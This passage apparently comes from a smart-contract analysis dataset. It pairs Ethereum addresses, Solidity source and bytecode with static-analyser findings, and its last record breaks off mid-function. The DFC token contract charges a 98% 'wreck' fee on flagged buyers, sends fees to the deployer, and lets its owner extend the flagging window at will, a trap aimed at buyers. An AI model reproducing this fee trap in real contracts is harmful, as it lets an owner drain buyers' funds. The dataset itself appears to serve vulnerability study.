02061213b833981519152858585818110151561183757fe5b905060200201356040518082815260200191505060405180910390a3600101611709565b600254600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ec5780601f106105c1576101008083540402835291602001916105ec565b600a5460009060ff1615611923576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b336000908152600b6020908152604080832054918390529091205461194e908463ffffffff611eeb16565b10156119ca576040805160e560020a62461bcd02815260206004820152602e60248201527f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686560448201527f206c6f636b6564206e756d626572000000000000000000000000000000000000606482015290519081900360840190fd5b6119d48383611fa8565b9392505050565b600254600160a060020a0316331480611a0857503360009081526003602052604090205460ff1615156001145b1515611a84576040805160e560020a62461bcd02815260206004820152602e60248201527f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207760448201527f616c6c657420616464726573732e000000000000000000000000000000000000606482015290519081900360840190fd5b6001548111158015611a9e5750600160a060020a03821615155b1515611b40576040805160e560020a62461bcd02815260206004820152605560248201527f4974206973207468652066697273742077616c6c6574206f7220617474656d7060448201527f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746860648201527f616e2074686520746f74616c20686f6c64696e672e0000000000000000000000608482015290519081900360a40190fd5b600160a060020a0382166000818152600b6020908152604091829020849055815184815291517f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd39281900390910190a25050565b60096020526000908152604090205481565b336000908152600860209081526040808320600160a060020a0386168452909152812054611bda908363ffffffff611f4b16565b336000818152600860209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600254600160a060020a03163314611c9c576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b33600090815260208190526040902054611cbc908263ffffffff611eeb16565b3360009081526020818152604080832093909355600490522054611ce6908263ffffffff611f4b16565b33600090815260046020526040902055600154611310908263ffffffff611eeb16565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b600254600160a060020a03163314611d91576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811615801590611db75750600254600160a060020a03828116911614155b8015611de05750600160a060020a03811660009081526003602052604090205460ff1615156001145b1515611e82576040805160e560020a62461bcd02815260206004820152604860248201527f4974206d75737420626520746865206578697374696e67206d616e616765722060448201527f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277360648201527f2077616c6c65742e000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115611f45576040805160e560020a62461bcd02815260206004820152601960248201527f546865726520617265206d6f726520746f206465647563742e00000000000000604482015290519081900360640190fd5b50900390565b6000828201838110156119d4576040805160e560020a62461bcd02815260206004820152601c60248201527f546865206e756d62657220646964206e6f7420696e6372656173652e00000000604482015290519081900360640190fd5b6000600160a060020a03831615801590611fc157508115155b8015611fdc5750336000908152602081905260409020548211155b151561207e576040805160e560020a62461bcd02815260206004820152604660248201527f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7360448201527f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7560648201527f2073656e642e0000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b3360009081526020819052604090205461209e908363ffffffff611eeb16565b3360009081526020819052604080822092909255600160a060020a038516815220546120d0908363ffffffff611f4b16565b600160a060020a0384166000818152602081815260409182902093909355805185815290519192339260008051602061213b8339815191529281900390910190a35060019291505056004920616d206e6f7420746865206f776e6572206f66207468652077616c6c6574ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f2680dab6053415a25face319c4b23c1ed046464e0fb904648a814f466d381010029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,675 |
0x4701056b7c14fa1bad11510c49ba0984908c5721
|
/**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 160000000000000000*10**1;
uint256 public constant basePrice = 474767677500000*10**1; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 1*10**1;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title ShepheardCoin
* @dev Contract to create the Shepheard Coin
**/
contract ShepheardCoin is CrowdsaleToken {
string public constant name = "Shepheard Coin";
string public constant symbol = "SHEP";
uint32 public constant decimals = 1;
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e876610ddfca3aea7c063ffffffff61065e16565b9063ffffffff61068d16565b9350600092506716345785d8a000006101be856003546106a290919063ffffffff16565b111561022c576003546101e0906716345785d8a000009063ffffffff6106af16565b9150610211670de0b6b3a7640000610205846610ddfca3aea7c063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d906716345785d8a000009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e118339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e118339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf1565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c8a565b34801561064957600080fd5b50610532600160a060020a0360043516610cb5565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600e81527f53686570686561726420436f696e000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e11833981519152929181900390910190a35060019392505050565b600181565b6716345785d8a0000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d4a565b565b60408051808201909152600481527f5348455000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e118339815191529281900390910190a350600192915050565b60045481565b6610ddfca3aea7c081565b600a81565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c25908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610ccc57600080fd5b600160a060020a0381161515610ce157600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dd357600454600554600160a060020a0316600090815260208190526040902054610db79163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e0d573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820e6a7f2543a49681fcba61d782b4e1574d16a62aecf012a3d4d65da8ddc4785690029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,676 |
0xc94e2a649dba44a32edef498dd287815a3f40b4c
|
// SPDX-License-Identifier: Unlicensed
/**
*
* You buy $DFC. We farm on Degen protocols with insanely high APR across multiple chains and return profits to holders.
*
* https://t.me/DegenFarmCapital
*
* https://degenfarm.capital
*
* 13% Slippage
*
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Auth is Context {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract deployer
*/
modifier onlyDeployer() {
require(isOwner(_msgSender()), "!D"); _;
}
/**
* Function modifier to require caller to be owner
*/
modifier onlyOwner() {
require(authorizations[_msgSender()], "!OWNER"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr, bool allow) public onlyDeployer {
authorizations[adr] = allow;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
*/
function transferOwnership(address payable adr) public onlyDeployer {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract DFC is Context, IERC20, Auth {
using SafeMath for uint256;
string private constant _name = "Degen Farm Capital | t.me/DegenFarmCapital";
string private constant _symbol = "DFC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * (10**_decimals); // 1T Supply
uint256 public swapLimit;
uint256 public maxSwapLimit = _tTotal / 2000;
bool private swapEnabled = true;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _launchBlock;
uint256 private _protectionBlocks;
uint256 private _buyLPFee = 4;
uint256 private _buyMarketingFee = 4;
uint256 private _buyReflectionFee = 4;
uint256 private _sellLPFee = 4;
uint256 private _sellMarketingFee = 4;
uint256 private _sellReflectionFee = 4;
struct FeeBreakdown {
uint256 tTransferAmount;
uint256 tLP;
uint256 tMarketing;
uint256 tReflection;
}
struct Fee {
uint256 buyMarketingFee;
uint256 buyReflectionFee;
uint256 buyLPFee;
uint256 sellMarketingFee;
uint256 sellReflectionFee;
uint256 sellLPFee;
}
mapping(address => bool) private wreck;
address payable private _marketingAddress;
address payable private _LPAddress;
address payable constant private _burnAddress = payable(0x000000000000000000000000000000000000dEaD);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxBuyTxAmount = _tTotal;
uint256 private _maxSellTxAmount = _tTotal;
bool private tradingOpen = false;
bool private inSwap = false;
bool private pairSwapped = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(uint256 perc) Auth(_msgSender()) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
address owner = _msgSender();
_marketingAddress = payable(owner);
_LPAddress = payable(owner);
swapLimit = _tTotal.div(100).mul(100 - perc);
authorize(_marketingAddress, true);
authorize(_LPAddress, true);
_rOwned[owner] = _rTotal.div(100).mul(perc);
_rOwned[address(this)] = _rTotal.sub(_rOwned[owner]);
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_LPAddress] = true;
emit Transfer(address(0), owner, _tTotal);
}
function name() override external pure returns (string memory) {return _name;}
function symbol() override external pure returns (string memory) {return _symbol;}
function decimals() override external pure returns (uint8) {return _decimals;}
function totalSupply() external pure override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return tokenFromReflection(_rOwned[account]);}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function getFee() internal view returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = _buyMarketingFee;
currentFee.buyLPFee = _buyLPFee;
currentFee.buyReflectionFee = _buyReflectionFee;
currentFee.sellMarketingFee = _sellMarketingFee;
currentFee.sellLPFee = _sellLPFee;
currentFee.sellReflectionFee = _sellReflectionFee;
return currentFee;
}
function removeAllFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 0;
currentFee.buyLPFee = 0;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 0;
currentFee.sellLPFee = 0;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function setWreckFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 98;
currentFee.buyLPFee = 1;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 98;
currentFee.sellLPFee = 1;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
Fee memory currentFee = getFee();
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyTxAmount, "Max Buy Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[to] = true;
}
} else if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from]) { //sells, transfers (except for buys)
require(amount <= _maxSellTxAmount, "Max Sell Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[from] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapLimit && swapEnabled) {
if (contractTokenBalance >= swapLimit + maxSwapLimit) {
convertTokensForFee(maxSwapLimit);
} else {
convertTokensForFee(contractTokenBalance.sub(swapLimit));
}
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
distributeFee(address(this).balance);
}
} else {
takeFee = false;
}
if (wreck[from] || wreck[to]) {
currentFee = setWreckFee();
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee, currentFee);
}
function convertTokensForFee(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function distributeFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(2));
_LPAddress.transfer(amount.div(2));
}
function openTrading(uint256 protectionBlocks) external onlyOwner {
_launchBlock = block.number;
_protectionBlocks = protectionBlocks;
tradingOpen = true;
}
function updateProtection(uint256 protectionBlocks) external onlyOwner {
_protectionBlocks = protectionBlocks;
}
function triggerSwap(uint256 perc) external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
convertTokensForFee(contractBalance.mul(perc).div(100));
swapLimit = contractBalance.mul(100-perc).div(100);
}
function manuallyCollectFee(uint256 amount) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
distributeFee(amount > 0 ? amount : contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, Fee memory currentFee) private {
if (!takeFee) currentFee = removeAllFee();
if (sender == uniswapV2Pair){
_transferStandardBuy(sender, recipient, amount, currentFee);
}
else {
_transferStandardSell(sender, recipient, amount, currentFee);
}
}
function _transferStandardBuy(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesBuy(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
